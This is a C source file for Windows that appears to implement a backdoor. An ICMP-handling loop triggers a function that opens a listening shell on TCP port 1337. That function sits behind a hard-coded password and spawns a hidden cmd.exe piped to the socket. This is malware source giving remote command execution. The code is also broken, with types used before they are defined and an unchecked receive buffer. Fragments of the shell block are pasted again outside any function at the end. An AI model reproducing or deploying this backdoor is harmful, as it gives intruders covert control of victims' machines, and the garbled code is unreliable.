#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <ws2tcpip.h>
#include "stdafx.h"

#pragma comment(lib, "ws2_32.lib")


#define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)

#define STATUS_FAILED 0xFFFF
#define DEF_PACKET_SIZE 32
#define MAX_PACKET 1024

#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
#define xfree(p)   HeapFree (GetProcessHeap(),0,(p))

void fill_icmp_data(char * icmp_data, int datasize);

void decode_resp(char *,int ,struct sockaddr_in *);

USHORT checksum(USHORT *buffer, int size) {

 unsigned long cksum=0;

 while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
 }
 
 if(size ) {
cksum += *(UCHAR*)buffer;
 }

 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (USHORT)(~cksum);
}

void StartShell()
{
       WSADATA wsd;
 SOCKET s1,s2;
 struct sockaddr_in sockadd;
 int len=sizeof(sockadd);
 STARTUPINFO SI;
 PROCESS_INFORMATION PI;

 sockadd.sin_family=AF_INET;
 sockadd.sin_port=htons(1337);
 sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
 WSAStartup(MAKEWORD(2,2),&wsd);
 s1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
 bind(s1,(struct sockaddr *)&sockadd,len);
 listen(s1,5);
       int exit = 0;
 while(exit == 0)
 {
  int shell = 0;
  s2=accept(s1,(struct sockaddr *)&sockadd,&len);
  send(s2,"Enter password:",16,0);
  ZeroMemory(&SI,sizeof(SI));
  ZeroMemory(&PI,sizeof(PI));
  SI.cb = sizeof(SI);
  SI.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  SI.wShowWindow   = SW_HIDE;

  char* buffer;
  buffer = new char [1028];
  char pass[10];
  strcpy(pass, "gettingyou");

  int bytes;
  bytes = recv(s2, buffer, 1027,0);

  buffer[bytes] = '\0';

       

 if(!strcmp(buffer, pass)) {
             
    char *cmd = new char[255];
             
             send(s2, "You'r welcome!\r\n", 16, 0);
    send(s2, "List of commands:\r\n",19,0);
    send(s2, "'?' This list\r\n",15,0);
    send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0);
    send(s2, "'e' to Exit\r\n",13,0);
    send(s2, "<CMD:",5,0);
    while (shell == 0) {
             
               recv(s2,cmd,1,0);
         
       if(cmd[0] == '?') {
     send(s2, "List of commands:\r\n",19,0);
     send(s2, "'?' This list\r\n",15,0);
     send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0);
     send(s2, "'e' to Exit\r\n",13,0);
     send(s2, "<CMD:",5,0);
    }
         
    if(cmd[0] == 's') {
         
     SI.hStdError=(HANDLE)s2;
     SI.hStdInput=(HANDLE)s2;
     SI.hStdOutput=(HANDLE)s2;

     CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI);
     WaitForSingleObject(PI.hProcess,INFINITE);
     //closesocket(s2);
     //shell = 1;  
     //we had a shell lets return
                       send(s2, "List of commands:\r\n",19,0);
     send(s2, "'?' This list\r\n",15,0);
     send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0);
     send(s2, "'e' to Exit\r\n",13,0);
     send(s2, "<CMD:",5,0);
     }

    if(cmd[0] == 'e') {
     send(s2, "Closing connection...bye",25,0);
     closesocket(s2);
     closesocket(s1);
                       shell = 1;
     exit = 1;
                             }

    }
 }
 }
}
int main(int argc, char **argv){

 WSADATA wsaData;
 SOCKET sockRaw;
 struct sockaddr_in dest,from;
 struct hostent * hp;
 int bread,datasize;
 int fromlen = sizeof(from);
 int timeout = 1000;
 char *dest_ip;
 char *icmp_data;
 char *recvbuf;
 unsigned int addr=0;
 USHORT seq_no = 0;

 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
fprintf(stderr,"WSAStartup failed: %d\n",GetLastError());
ExitProcess(STATUS_FAILED);
 }

 sockRaw = WSASocket (AF_INET,
       SOCK_RAW,
       IPPROTO_ICMP,
       NULL, 0,0);
 
 if (sockRaw == INVALID_SOCKET) {
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
 }
 
 bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,
      sizeof(timeout));

 if(bread == SOCKET_ERROR) {
  fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
 }

 timeout = 1000;
 
 bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,
      sizeof(timeout));

 
 if(bread == SOCKET_ERROR) {
  fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
 }

 memset(&dest,0,sizeof(dest));

 hp = gethostbyname("localhost");

 if (!hp){
addr = inet_addr("127.0.0.1");
 }
 if ((!hp)  && (addr == INADDR_NONE) ) {
fprintf(stderr,"Unable to resolve localhost\n");
ExitProcess(STATUS_FAILED);
 }

 if (hp != NULL)
  memcpy(&(dest.sin_addr),hp->h_addr,hp->h_length);
 else
  dest.sin_addr.s_addr = addr;

 if (hp)
  dest.sin_family = hp->h_addrtype;
 else
  dest.sin_family = AF_INET;

 dest_ip = inet_ntoa(dest.sin_addr);

 datasize = DEF_PACKET_SIZE;

 datasize += sizeof(IcmpHeader);  
 datasize += sizeof(IcmpEchoHeader);  
 
 icmp_data = (char*)xmalloc(MAX_PACKET);
 recvbuf = (char*) xmalloc(MAX_PACKET);

 if (!icmp_data) {
fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
ExitProcess(STATUS_FAILED);
 }
 

 memset(icmp_data,0,MAX_PACKET);
 fill_icmp_data(icmp_data,datasize);

 IcmpEchoHeader *icmpechohdr;
 icmpechohdr = (IcmpEchoHeader*)(icmp_data + sizeof(IcmpHeader));

 while(1) {
int bwrote;

((IcmpHeader*)icmp_data)->i_cksum = 0;
icmpechohdr->timestamp = GetTickCount();

icmpechohdr->i_seq = seq_no++;
((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data,
          datasize);

bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,
    sizeof(dest));
if (bwrote == SOCKET_ERROR){
  if (WSAGetLastError() == WSAETIMEDOUT) {
   printf("timed out\n");
 continue;
  }
  fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
  ExitProcess(STATUS_FAILED);
}
if (bwrote < datasize ) {
  fprintf(stdout,"Wrote %d bytes\n",bwrote);
}
bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,
    &fromlen);
if (bread == SOCKET_ERROR){
  if (WSAGetLastError() == WSAETIMEDOUT) {
   printf("timed out\n");
 continue;
  }
  fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError());
  ExitProcess(STATUS_FAILED);
}
decode_resp(recvbuf,bread,&from);
Sleep(1000);

 }
 return 0;

}


void Show_ICMP_Packet(char *buf, int bytes){
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;

iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4;// number of 32-bit words *4 = bytes
icmphdr = (IcmpHeader*)(buf + iphdrlen);

if (icmphdr->i_type ==0)
 {

   
   int sizzz=iphdrlen+sizeof(IcmpHeader)+sizeof(IcmpEchoHeader)-sizeof(ULONG);
   
   for ( int i = sizzz; i < bytes-sizzz; i++ )
    {
 //    fprintf(stdout,"%c",buf[i]);
    }
     //          fprintf(stdout,"\n");
               if(i == 555) {
    printf("shell command recieved\n");
    StartShell();
   }
 }
 
}

/*
The response is an IP packet. We must decode the IP header to locate
the ICMP data
*/
void decode_resp(char *buf, int bytes,struct sockaddr_in *from) {

IpHeader *iphdr;
IcmpHeader *icmphdr;
IcmpEchoHeader *icmpehdr;
unsigned short iphdrlen;

iphdr = (IpHeader *)buf;

   Show_ICMP_Packet(buf,bytes);

iphdrlen = iphdr->h_len * 4;// number of 32-bit words *4 = bytes

if (bytes  < iphdrlen + ICMP_MIN) {
 printf("Too few bytes from %s\n",inet_ntoa(from->sin_addr));
}

icmphdr = (IcmpHeader*)(buf + iphdrlen);
icmpehdr = (IcmpEchoHeader*)(buf + iphdrlen+sizeof(IcmpHeader));

if (icmphdr->i_type != ICMP_Echo_Reply) {
 fprintf(stderr,"non-echo type %d recvd\n",icmphdr->i_type);
 return;
}
if (icmpehdr->i_id != (USHORT)GetCurrentProcessId()) {
 fprintf(stderr,"Got a packet!\n");
 return;
}

}

/*
Helper function to fill in various stuff in our ICMP request.
*/
void fill_icmp_data(char * icmp_data, int datasize){

 IcmpHeader *icmp_hdr;
 IcmpEchoHeader *icmp_ehdr;
 char *datapart;

 icmp_hdr = (IcmpHeader*)icmp_data;
 icmp_ehdr = (IcmpEchoHeader*)(icmp_data+sizeof(IcmpHeader));

 icmp_hdr->i_type = ICMP_Echo;
 icmp_hdr->i_code = 0;
 icmp_ehdr->i_id = (USHORT)GetCurrentProcessId();
 icmp_hdr->i_cksum = 0;
 icmp_ehdr->i_seq = 0;
 
 datapart = icmp_data + sizeof(IcmpHeader)+sizeof(IcmpEchoHeader);
 //
 // Place some junk in the buffer.
 //
 memset(datapart,'E', datasize - sizeof(IcmpHeader));

}

//
// ICMP header
//
typedef struct icmphdr {
 BYTE i_type;
 BYTE i_code; /* type sub code */
 USHORT i_cksum;
}IcmpHeader;

typedef struct icmpechohdr {
 USHORT i_id;
 USHORT i_seq;
 //that follows the DATA counted in checksum!!!!!!!!!!!

 /* This is not the std header, but we reserve space for time */  
 ULONG timestamp;
}IcmpEchoHeader;

typedef struct icmptimsthdr {
 USHORT i_id;
 USHORT i_seq;

 ULONG o_timestamp; //Originate Timestamp !!Sender write it!!
 ULONG r_timestamp; //Receive Timestamp   !!Echoer write it!!
 ULONG t_timestamp; //Transmit Timestamp  !!Echoer write it!!
}IcmpTimestampHeader;

typedef struct iphdr {
unsigned int h_len:4;          // length of the header
unsigned int version:4;        // Version of IP
unsigned char tos;             // Type of service
unsigned short total_len;      // total length of the packet
unsigned short ident;          // unique identifier
unsigned short frag_and_flags; // flags
unsigned char  ttl;
unsigned char proto;           // protocol (TCP, UDP etc)
unsigned short checksum;       // IP checksum

unsigned int sourceIP;
unsigned int destIP;

}IpHeader;


#define ICMPHeaderLength sizeof(ICMPHeader)

// ICMP data size
#define ICMP_DATA_SIZE 8

// ICMP Message unreachable
#define ICMP_Unreachable 3
#define ICMP_Unreachable_SIZE 8

#define ICMP_Unreachable_NET 0
#define ICMP_Unreachable_HOST 1
#define ICMP_Unreachable_PROTOCOL 2
#define ICMP_Unreachable_PORT 3
#define ICMP_Unreachable_FRAGMENTATION 4
#define ICMP_Unreachable_SOURCE 5

// ICMP Time exceeded
#define ICMP_Time 11

#define ICMP_Time_TRANSIT 0
#define ICMP_Time_FRAGMENT 1

// ICMP Parameter problem
#define ICMP_Parameter 12

#define ICMP_Parameter_ERROR 0

// ICMP Source quench
#define ICMP_Quench 4

// ICMP Redirect
#define ICMP_Redirect 5

#define ICMP_Redirect_NETWORK 0
#define ICMP_Redirect_HOST 1
#define ICMP_Redirect_SERVICE_NETWORK 2
#define ICMP_Redirect_SERVICE_HOST 3

// ICMP Echo
#define ICMP_Echo 8
#define ICMP_Echo_Reply 0

// ICMP Timestamp
#define ICMP_Timestamp 13
#define ICMP_Timestamp_Reply 14

// ICMP Information request
#define ICMP_Information 15
#define ICMP_Information_Reply 16

#define ICMP_Information_SIZE 8

//Max buf
#define ICMP_BUF 100

// Minimum 8 byte
#define ICMP_MIN 8

if(cmd[0] == 's') {
         
    SI.hStdError=(HANDLE)s2;
    SI.hStdInput=(HANDLE)s2;
    SI.hStdOutput=(HANDLE)s2;

    CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI);
    WaitForSingleObject(PI.hProcess,INFINITE);
    //closesocket(s2);
    //shell = 1;  
    //we had a shell lets return
                      send(s2, "List of commands:\r\n",19,0);
    send(s2, "'?' This list\r\n",15,0);
    send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0);
    send(s2, "'e' to Exit\r\n",13,0);
    send(s2, "<CMD:",5,0);
    }

memset(&dest,0,sizeof(dest));
//hp = gethostbyname("localhost");

//if (!hp){
 addr = inet_addr("0.0.0.0");
//}
/*
if ((!hp)  && (addr == INADDR_NONE) ) {
 fprintf(stderr,"Unable to resolve localhost\n");
 ExitProcess(STATUS_FAILED);
}
*/
//if (hp != NULL)
 //memcpy(&(dest.sin_addr),hp->h_addr,hp->h_length);
//else
 dest.sin_addr.s_addr = addr;
//if (hp)
// dest.sin_family = hp->h_addrtype;
//else
 dest.sin_family = AF_INET;